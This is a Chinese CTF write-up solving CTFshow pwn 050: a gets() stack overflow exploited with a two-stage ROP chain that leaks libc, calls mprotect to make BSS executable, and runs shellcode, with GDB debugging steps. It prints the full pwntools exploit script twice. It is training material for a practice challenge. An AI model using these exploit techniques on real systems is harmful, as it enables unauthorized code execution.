本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在前面的关卡中,我们分别领略了动态链接下的 Ret2Libc 泄露艺术(pwn 048),以及静态编译下的 mprotect 权限修改技巧(pwn 049)。 来到 PWN 050 ,出题人给出的提示是:"* Hint : Use mprotect func do sth! "。 但是仔细一看环境,情况好像哪里不一样了?

~/Desktop .............................................................. at 18:38:59
> ldd ./pwn
linux-vdso.so.1 (0x00007ffd239fb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000072951f200000)
/lib64/ld-linux-x86-64.so.2 (0x000072951f588000)
没错,这是一道 动态链接 + NX保护 的程序。这意味着我们不能像 pwn 049 那样直接在程序里找到 mprotect 和所有好用的 Gadgets。 本题是对前两关的终极综合大考:我们需要先利用 Ret2Libc 泄露动态库基址,然后再从 libc 中寻找构建 mprotect 的 ROP 链,最后再注入并执行 Shellcode!
第一部分:题目信息与环境侦察
1. 检查保护机制 (checksec)

> checksec pwn
[*] '/home/shining/Desktop/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- Arch : amd64-64-little (64位程序,参数传递规则变更为
RDI,RSI,RDX等寄存器) - Stack : No canary found (无栈哨兵,随便溢出)
- NX : NX enabled (重点!栈不可执行。老规矩,必须想办法开辟一片
RWX的绿洲) - PIE : No PIE (基址固定,方便我们利用 plt 和 got 表进行泄露)
2. 静态分析 (IDA Pro)
观察主函数和核心漏洞函数:


int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
ctfshow();
exit(0);
}
__int64 ctfshow()
{
_BYTE v1[32]; // [rsp+0h] [rbp-20h] BYREF
puts("Hello CTFshow");
return gets(v1); // 致命漏洞:gets 读入无长度限制
}
漏洞点分析:
- 变量
v1位于rbp-20h。 gets(v1)没有任何边界检查,经典的无限栈溢出漏洞。- 偏移量计算 :在 64 位下,覆盖到返回地址(Ret Addr)的长度 =
0x20(Buffer) +8(Old RBP) = 40 字节。
第二部分:破局思路与 ROP 链设计(硬核剖析)
在 64 位动态链接程序下,我们要完成 mprotect 提权,不可能一蹴而就。由于开启了 NX,我们无法直接在栈上执行代码;由于是动态链接,我们在不知道 Libc 基址前,无异于盲人摸象。因此,我们需要经历极其精密的两次 ROP 攻击(Two-Stage ROP)。
阶段一:泄露 Libc 基址(打通视野)
在 64 位程序中,函数参数不再像 32 位那样完全依赖栈传递,而是优先使用寄存器(RDI, RSI, RDX, RCX, R8, R9)。我们要调用 puts 打印出 GOT 表中的真实地址,就必须控制 RDI 寄存器。
ROP 链构造步骤:
- 寻找 Gadget :使用
ROPgadget找到pop rdi ; ret的地址(本程序中固定为0x4007e3)。 - 传参 :将
puts在 GOT 表中的地址(elf.got['puts'])作为目标,跟在pop rdi后面。当pop rdi执行时,这个地址会被弹出并存入RDI。 - 调用输出 :将返回地址指向
puts.plt。此时puts会把RDI指向的内容(即puts的真实内存地址)打印到屏幕上。 - 起死回生(关键) :泄露完成后,程序本该由于栈结构破坏而崩溃。为了进行下一阶段的攻击,我们必须在 ROP 链的最后加上
main函数的地址 。这样puts执行完毕后,ret指令会把程序指针重新指回main的开头,犹如让程序"满血复活",再次触发gets等待我们输入。
阶段二:构造 mprotect 权限篡改链(瞒天过海)
当程序重置回 main 并再次溢出时,我们已经通过第一阶段拿到了泄露地址,计算出了 libc 的基址。此时我们获得了上帝视角,libc 里的所有函数和 Gadget 任我们调用。
我们的目标是将 bss 段(通常是可读写的,地址固定如 0x601000)变异为 RWX 权限,并写入 Shellcode。
精密连招设计:
- 第一发:篡改权限 : 我们需要执行
mprotect(0x601000, 0x1000, 7)。RDI=0x601000(bss段起始地址,极其重要:必须是 0x1000 即 4KB 页对齐的地址,否则 mprotect 会直接失败返回 -1)RSI=0x1000(修改的长度,一页的大小)RDX=7(RWX 权限:PROT_READ(1) | PROT_WRITE(2) | PROT_EXEC(4) = 7)
- 第二发:搬运弹药 : 紧接着调用
gets(shellcode_addr)(此时RDI需要指向我们在 BSS 段中选定的具体存放位置)。程序会停下来等我们输入,我们顺势将准备好的 Shellcode 送入这片已经被我们赋予执行权限的"法外之地"。 - 第三发:致命一击 : ROP 链的最后,放置
shellcode_addr。gets结束后,栈顶弹出这个地址覆盖 RIP,CPU 直接飞向我们的 Shellcode 并执行,拿下 Shell!
史诗级踩坑预警:Ubuntu 18+ 堆栈对齐机制 (
movaps异常)很多新手在 64 位 pwn 中会遇到一个极其诡异的现象:明明泄露成功了,ROP 链逻辑也毫无破绽,地址全部正确,但程序在调用
system或 libc 中的某些复杂函数(如mprotect,printf)时,瞬间暴毙,报SIGSEGV段错误 ,且崩溃点往往是在一条叫做movaps的汇编指令上。原理解析:
- x86_64 ABI 规范 :Linux 64 位的 ABI 严格规定,在发生函数调用(
call指令)进入目标函数体之前,栈指针RSP必须是 16 字节对齐的 (即RSP的地址末尾必须是0)。- SIMD 优化与
movaps:Glibc 在高版本为了追求极致性能,大量使用了 SSE/AVX 扩展指令集进行内存操作。其中movaps指令(Move Aligned Packed Single-Precision Floating-Point Values)在搬运数据时,硬件级别强制要求内存地址必须 16 字节对齐。如果不对齐,CPU 硬件直接抛出 General Protection Fault,内核随即发送 SIGSEGV 杀死进程。- 为什么 ROP 会破坏对齐? :正常的函数调用,
call压入 8 字节的返回地址,加上push rbp等操作,编译器会精心计算并用sub rsp, X保证对齐。而我们搞 ROP 攻击,是不停地pop寄存器和ret跳转。每一个ret会消耗栈上 8 个字节。如果我们在劫持执行流的过程中,ret的次数是奇数次 ,到达目标函数时,RSP就会错位 8 个字节,导致 16 字节对齐被破坏。终极破解之法(Ret Sled): 极其简单优雅:在调用目标函数前,在我们的 ROP 链(Payload)里塞入一个纯粹的
ret指令(Ret Gadget) 。ret指令的作用仅仅是pop rip,它什么都不干,只会让RSP加上 8。这就相当于一个"垫片",人为地改变了栈的奇偶性,强行把RSP调整回 16 字节对齐的状态!这在 pwn 界被称为"栈对齐艺术"。
第三部分:实战 EXP 编写与详解 (Pwntools 魔法)
面对 64 位下复杂的 RDI/RSI/RDX Gadget 搜寻,如果像 pwn 049 那样硬编码偏移量,很容易因为宿主机 libc 版本不同而全盘崩溃。 这里展示 更高级的姿势 :利用 Pwntools 的 ROP(libc) 模块全自动构建利用链!
from pwn import *
# 设置系统架构,用于后续生成 shellcode
context(arch='amd64', os='linux', log_level='debug')
# --- 环境配置 ---
# 本地调试开启 process,远程打靶注释掉 remote
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28127)
elf = ELF('./pwn')
# 加载本地的 libc 文件
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# --- 相关地址与 Gadgets 准备 ---
pop_rdi_ret = 0x00000000004007e3 # pop rdi ; ret
# 获取一个纯 ret gadget (通常是 pop_rdi_ret + 1),用于 Ubuntu 18+ 之后的堆栈 16 字节对齐
ret_gadget = pop_rdi_ret + 1
ctfshow = elf.sym['ctfshow']
bss_start_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 0x100
log.info("ctfshow addr: " + hex(ctfshow))
log.info("bss_start_addr: " + hex(bss_start_addr))
# ==========================================
# Step 1 : Leak Libc (泄露 Libc 基地址)
# ==========================================
payload1 = cyclic(40)
payload1 += p64(ret_gadget) # 【核心修复】增加一个 ret,解决潜在的 movaps 堆栈未对齐崩溃
payload1 += p64(pop_rdi_ret)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.plt['puts'])
payload1 += p64(main) # 返回 main 而不是 ctfshow,确保 rsp 能够被正确重置
io.recvuntil(b"Hello CTFshow\n")
io.sendline(payload1)
# 接收泄露的真实地址并计算基址 (使用 strip 去掉换行更稳妥)
leak = io.recvline().strip()
leak_addr = u64(leak.ljust(8, b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x" % libc.address)
# ==========================================
# Step 2 : One-Shot ROP Chain (Mprotect + Gets + Execute)
# ==========================================
# 【终极魔法】使用 pwntools 的 ROP 模块自动构建链
# 彻底告别寻找 pop_rsi/pop_rdx 偏移带来的跨机器 SIGSEGV 崩溃之苦!
rop = ROP(libc)
rop.mprotect(bss_start_addr, 0x1000, 7) # 将 BSS 段所在页权限改为 rwx
rop.gets(shellcode_addr) # 往 BSS 段写 shellcode
rop.raw(shellcode_addr) # gets 结束后,直接让 CPU 飞向 shellcode 执行!
payload2 = cyclic(40)
payload2 += p64(ret_gadget) # 继续做一次栈对齐以防万一
payload2 += rop.chain() # 拼入我们自动生成的强力利用链
io.recvuntil(b"Hello CTFshow\n")
io.sendline(payload2)
# 上面的 payload 执行后,程序正在执行 gets(shellcode_addr),等待我们输入
# 我们把 shellcode 发送过去
io.sendline(asm(shellcraft.sh()))
# 开启交互模式,获取 Shell
io.interactive()

第四部分:GDB 动态调试验证 (进阶)
脚本里写 gdb.attach() 经常会遇到终端弹不出来、Tmux 报错等一系列玄学问题。其实,最硬核、最老派、最稳妥的调试姿势是:双终端手动挂载法 (PID Attach)。
只要学会了这招,你不需要懂任何 pwntools 的终端配置,只要有 Linux,你就能调!
第零步:神兵利器 pwndbg 的安装(只需一次)
如果你终端里敲 GDB 只有干巴巴的黑底白字,说明没装插件。打开终端执行:
git clone [https://github.com/pwndbg/pwndbg](https://github.com/pwndbg/pwndbg)
cd pwndbg
./setup.sh
安装后,再次敲 gdb,看到红色的 pwndbg> 就说明成了!输入 quit 退出来,准备实战。
第一步:启动你的 EXP 脚本(第一终端)
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# --- 环境配置 ---
# 本地调试开启 process
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# --- 相关地址与 Gadgets 准备 ---
pop_rdi_ret = 0x00000000004007e3
ret_gadget = pop_rdi_ret + 1 # 用于栈对齐
ctfshow = elf.sym['ctfshow']
bss_start_addr = 0x601000
main = elf.sym['main']
shellcode_addr = 0x602000 - 0x100
# ==========================================
# Step 1 : Leak Libc (泄露 Libc 基地址)
# ==========================================
payload1 = cyclic(40)
payload1 += p64(ret_gadget)
payload1 += p64(pop_rdi_ret)
payload1 += p64(elf.got['puts'])
payload1 += p64(elf.plt['puts'])
payload1 += p64(main)
io.recvuntil(b"Hello CTFshow\n")
io.sendline(payload1)
leak = io.recvline().strip()
leak_addr = u64(leak.ljust(8, b'\x00'))
libc.address = leak_addr - libc.sym['puts']
success("libc_base = 0x%x" % libc.address)
# ==========================================
# Step 2 : One-Shot ROP Chain
# ==========================================
rop = ROP(libc)
rop.mprotect(bss_start_addr, 0x1000, 7)
rop.gets(shellcode_addr)
rop.raw(shellcode_addr)
payload2 = cyclic(40)
payload2 += p64(ret_gadget)
payload2 += rop.chain()
# ----------------------------------------------------
# 【调试核心在此】
# 我们不使用 gdb.attach(),而是用 pause() 让脚本停在这里!
# 这样程序会挂起,为我们手动打开终端挂载 GDB 争取时间!
log.info("【手工调试时间】请在另一个终端执行:gdb -p $(pidof pwn)")
pause()
# ----------------------------------------------------
io.recvuntil(b"Hello CTFshow\n")
io.sendline(payload2)
io.sendline(asm(shellcraft.sh()))
io.interactive()
打开你的第一个 Linux 终端(我们称之为终端A),正常运行你的 Python 脚本:
python3 exp.py
由于我们在代码里加了 pause(),你的脚本跑到一半会停下来,并且终端会显示类似这样的字样:

[+] libc_base = 0x71...
[*] 【手工调试时间】请在另一个终端执行:gdb -p $(pidof pwn)
[*] Paused (press any to continue)
这时候,千万不要按回车! 此时 ./pwn 这个程序正在系统后台静静地挂起等待。
第二步:手动挂载 GDB(第二终端)
保留终端A 不动,再打开一个全新的终端窗口 (我们称之为终端B)。
在终端B 中,我们要揪出刚才那个正在挂起的 ./pwn 程序,并让 GDB 寄生上去。输入这条神级命令:
gdb -p $(pidof pwn)
(注:pidof pwn 会自动查出当前系统里 pwn 进程的 PID,然后交给 gdb -p 挂载)
一敲回车,伴随着一大串字符输出,你成功进入了 pwndbg 的世界! 此时,漏洞程序已经被你彻底接管,冻结在内存中。

第三步:布下天罗地网(在终端B操作)
现在我们需要告诉 GDB:"等下程序跑到 mprotect 的时候,给我拦住它!" 在终端B (GDB 界面)的 pwndbg> 提示符下,敲入:
pwndbg> b mprotect
(这会在 mprotect 处下断点。如果有提示让你确认某些未加载库,按 y 即可)

接着,让被冻结的程序做好准备,继续跑:
pwndbg> c
敲完 c (continue),GDB 会显示 Continuing.。此时它正在静静等待你的 payload。

第四步:释放 Payload 攻击(回到终端A操作)
现在,切换回你刚才那个一直按兵不动的终端A。
按下你键盘上的 回车键 (Enter)!
pause() 结束!Python 脚本瞬间将排队等候的 payload2(包含了调用 mprotect 的 ROP 链)像子弹一样打入存在溢出的漏洞程序中。

第五步:见证奇迹的时刻(回到终端B操作)
随着你刚才的回车,奇迹发生了!终端B 的 GDB 画面会瞬间刷新出一大片彩色代码。 因为程序执行到了我们刚才设下的断点,它被 GDB 抓了个正着!
此时,你稳稳停在了 mprotect 函数的入口处。 既然我们要改 BSS 段(地址 0x601000)的权限,先看看它现在的权限。输入:
pwndbg> vmmap 0x601000
你会看到:

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x602000 0x603000 rw-p 1000 2000 /home/shining/Desktop/pwn
看,目前是 rw-p,没有 x,不可执行。
接下来,我们让程序把 mprotect 执行完。我们在下一个 ROP 环节 gets 处下断点,并放行:
pwndbg> b gets
pwndbg> c

程序一闪而过,再次停下(因为撞上了 gets 的断点)。 现在,激动人心的时刻到了,再次查看 BSS 权限:
pwndbg> vmmap 0x601000
你会看到输出变成了:

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x601000 0x602000 rwxp 1000 0 /home/shining/Desktop/pwn
注意看!rw-p 变成了 rwxp !!! 你亲手撕开了系统的防御!
第六步:追踪 Shellcode 到拿 Shell(在终端B操作)
追踪 Shellcode:亲眼看着 RIP 被劫持
程序此时停在 gets,我们输入 finish 让它读入我们的 Shellcode,并在即将返回(ret)的那一刻停下:
pwndbg> finish
此时看一眼栈顶 $rsp:
pwndbg> x/gx $rsp
0x7ffe895e3680: 0x0000000000601f00 <-- 这正是我们的 Shellcode 地址!

单步执行 (si) 一下 ,程序的 RIP 就会弹出栈顶的值,飞向我们的 Shellcode。
pwndbg> si
pwndbg> x/10i $rip
=> 0x601f00: push 0x68
0x601f02: mov rax,0x732f2f2f6e69622f <-- "/bin/sh" 字符串的汇编入栈!
0x601f0c: push rax
程序的控制流已被彻底劫持!
4. 小白踩坑实录:"这不对啊,怎么又 mprotect 了?"
就在你满心欢喜,在 GDB 里敲下 c(continue)放开程序,然后跑回终端 A 去享受拿 Shell 的快感,输入 cat flag 后...... 突然,终端 B 的 GDB 又弹出了大量红字信息,甚至报错:
[Attaching after process 17208 vfork to child process 17352]
process 17352 is executing new program: /usr/bin/cat
[Switching to process 17352]
Thread 2.1 "cat" hit Breakpoint 1, mprotect () at ...
很多新手看到这里当场崩溃:"完了!怎么报错了?怎么 RIP 跑到别的奇怪的地方了?这不对啊!"
原理解析(这其实是幸福的烦恼):
- 实际上,你的
execve("/bin/sh")Shellcode 已经完美执行成功了! - 当你在终端 A 里输入
cat flag时,底层的 Linux 会fork出一个子进程去运行/usr/bin/cat这个程序。 - 问题出在哪里?出在你刚才在 GDB 里敲了一句:
b mprotect!而且你没有把它删掉! - 任何一个新的动态链接程序(比如
cat)在启动时,系统的加载器ld.so都会在底层自动调用mprotect来给自己分配和保护内存。因为你的 GDB 配置了跟踪子进程,于是 GDB 忠实地把cat程序的内部系统调用也给你拦截下来了!
终极解决办法: 当你确认 RIP 已经成功劫持到你的 shellcode 后,你就不需要 GDB 这个显微镜了! 直接在 GDB (终端 B) 里输入:
pwndbg> delete # 删除所有断点
pwndbg> c # 让程序永远跑下去

然后回到终端 A,你就可以尽情地 ls、cat flag,享受胜利的果实了! (当然,熟练之后,你完全可以把 python 脚本里的 pause() 注释掉,直接 python3 exp.py 一秒拿 Shell!)
总结:从屠龙术到自动步枪
pwn 050 将前两题的考点进行了完美的缝合。
- 栈环境的把控 :动态链接下的多次溢出,一定要注意
ret指令补齐堆栈的 16 字节对齐问题。 - 生产力的跨越 :从手动寻址写
pop rdx,进化到利用ROP(libc).chain()一键生成复杂利用链,不仅极大缩短了代码长度,更获得了完美的跨系统稳定性。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。